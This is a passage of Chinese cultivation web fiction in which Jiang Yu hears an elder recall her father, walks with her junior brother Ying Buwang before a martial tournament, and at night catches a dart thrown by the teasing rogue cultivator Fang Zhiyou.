刘苏叶笑着摆摆手,接过姜瑜递来的茶杯,轻抿了一口:“都是陈年旧事了,更何况你父亲陪你的时日本就不多,不知者无罪,这有什么礼不礼的。”
姜瑜弯唇微笑以作回应。
她确实从穿进来,未曾与她这个所谓的父亲见上一面,更别提能认识她父亲的至交旧识了。
刘苏叶指尖轻轻摩挲着茶盏,目光飘向窗外,语气染上几分追忆:“当年啊,你父亲姜远山,还有罗淮阳,我们三人可经常凑一块品茶鉴器。”
罗淮阳?
当今掌管紫星阁的现任掌门,罗淮阳?
姜瑜虽心有讶意,面上却不显,她再次为刘苏叶斟满了茶。
刘苏叶顿了顿,目光落在姜瑜脸上,似透过她看到了故人:“后来宗门事务渐多,我们才各自忙碌起来,见面的次数也少了。”
“你这模样长的倒更像你娘。”
“瞧着古巧精怪,却是个乖孩子。”
话音刚落,门外便传来赵清砚温和却又不失清晰的声音,言语间带着几分恭敬:
“刘长老,掌门那边已将手头事务处理妥当,此刻正往凝雪苑来,说是要与长老商议此次武道会比一事,让弟子先行过来告知您一声。”
“我知道了。”刘苏叶淡淡应了一声,指尖在茶盏沿轻轻划了圈,随即转向姜瑜,语气稍缓,
“既如此,老身还有要事相议,想来瑜儿从东原一道赶来也累了,不如且先回听雨苑歇着罢。”
“刘长老既有要事,晚辈自然不再打扰。”姜瑜顺势起身,对着刘苏叶微微欠身,“待您得空,我们再细聊往昔。”
姜瑜刚走出屋门,便瞧见院外的常青树旁斜斜靠着一抹熟悉身影。
应不妄一身墨衣衬得身形挺拔,双眼紧阖,直到姜瑜的脚步声靠近,他才缓缓掀开眼睫,眸光微眯,看向她的方向。
“在等我?”姜瑜走上前,眼底闪过一丝意外,随即被笑意掩盖。
应不妄从树干上直起身,唇角勾着点似有若无的弧度:“我这个疏于管教的师弟,也是生怕给师姐惹了什么麻烦,不跟来看看怎么能行?”
“师弟这是在怪我?”姜瑜眉梢微挑,上前一步。
应不妄抬眼,眸光清冷,却没多辩解,只简洁地吐出两个字:“不敢。”
话音落,他便转身往回廊那头走,没再看姜瑜一眼。
姜瑜缓步跟在应不妄身后,瞧着他刻意加快几分的脚步,眼底掠过一丝笑意。
她耐着性子迁就着他这点别扭的小脾气,半点不恼,只亦步亦趋地跟着,两人一前一后,朝着听雨苑的方向慢慢走去。
在此之前,裴恒之与沈晚宁已提前动身,前去嘱托青冥宗众弟子关于武道会比的各项事宜,当时那群少女吵闹时并不在听雨苑中。
在这个人生地不熟的地方,应不妄恰到好处的关心倒是为姜瑜心里增添了几分心安。
踏出凝雪苑时,姜瑜跟在应不妄身后走着,恰巧与一位身着素白长衫
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,腰间由着紫色腰带装饰的人相撞。
那人面上蒙着白纱,两人目光相视瞬间,便错身而过。
待人走远后,姜瑜收回目光,没心思细想,只稍停一瞬便快步跟上了应不妄。
*
夜色漫上紫星阁,可即便是再雅致的地方,也免不了虫鸣。几声鸣声从廊下的花丛里传出来,断断续续的,反倒让这夜显得不那么冷清了。
赵清砚先前派人来送的晚膳依旧整齐的摆放在桌上,瓷盘里的热意早已散尽,姜瑜却分毫未动。
她从无境回来后,发现修为一直停滞不前的原因不仅仅是自身水、雷双灵根相互牵制的缘故。
更有极大一部分原因是她这双灵根貌似存在残缺。
所以从凝雪苑回来后,她便一心沉浸于打坐调息中,试图借丹田灵力流动之时,慢慢梳理灵根的滞涩。
破空声倏然响起,她猛然睁眼,一枚银色暗器裹挟着风意直面袭来。
姜瑜眼睫微颤,身形未动,右手疾伸,二指稳稳扣住器身中段,力道在卸去暗器冲势的瞬间,暗器在指间微微震颤。
“在屋内呆了这么长时间,还不准备出来见见我吗?”姜瑜捏起那枚银色镖状暗器仔细端详。
“姐姐还是一如既往的厉害。”少年从屏风后探头而出,他环抱着手,毫不逊色的夸赞道。
姜瑜抬眼时愣了一瞬,少年眉眼清俊,额前的碎发垂落,偏生得一双桃花眼与应不妄颇有几分相似,少年唇角微弯,眼含笑意望向她。
“你是?”姜瑜不可否认是第一次见到这张脸,但单听着声音便觉得熟悉,她望着这张陌生的脸,不由蹙起了眉。
“这才多久没见,我的好姐姐便不记得我了?”少年故作失落,他低垂着眼,好一副叫人心生垂爱模样。
“是你?”
“这儿可不是你该来的地方。”只瞬间,姜瑜瞬影至方知有身前,将镖状暗器尖锐的一方直直抵在他脖颈处。
“这紫星阁你来得,为何我来不得?”方知有抬起指尖,将姜瑜抵在脖颈处的手轻轻移开,
“武道会比将至,紫星阁扬言凡是参赛者皆有器宝相赠,依姐姐所言,莫不是我们这些散修不配来分一份这好羮了?”
姜瑜收起暗器,盯着方知有的脸颊,似笑非笑,她转身来到桌前,将暗器甩在桌面,径自坐在那儿吃了杯茶。
方知有跟着她一同坐下,他单手撑着脸,笑意不减:“姐姐比我想象中还要漂亮。”
“少拍彩虹屁。”姜瑜没好气的回道。
方知有盯着他,笑意不减,直达眼底:“没想到姐姐竟如此无情,枉费我寻了你好长一段时间呢。”
“你找我干什么?”姜瑜随意夹了一口吃食,刚要塞进嘴里,突然想到了什么,又放了回去。
“我听说青冥宗也派了弟子来参加这武道会比,便四处寻人打听。”姜瑜眼皮微跳,便听方知有续而说道,
“若不是那叫‘沈晚宁’的实力远不如于你,弟弟这会估摸着便就认错人,唤别人姐姐了。”
“你说对吧?”方知有抬眼与姜瑜相视,狡黠一笑。
“姜、姐、姐。”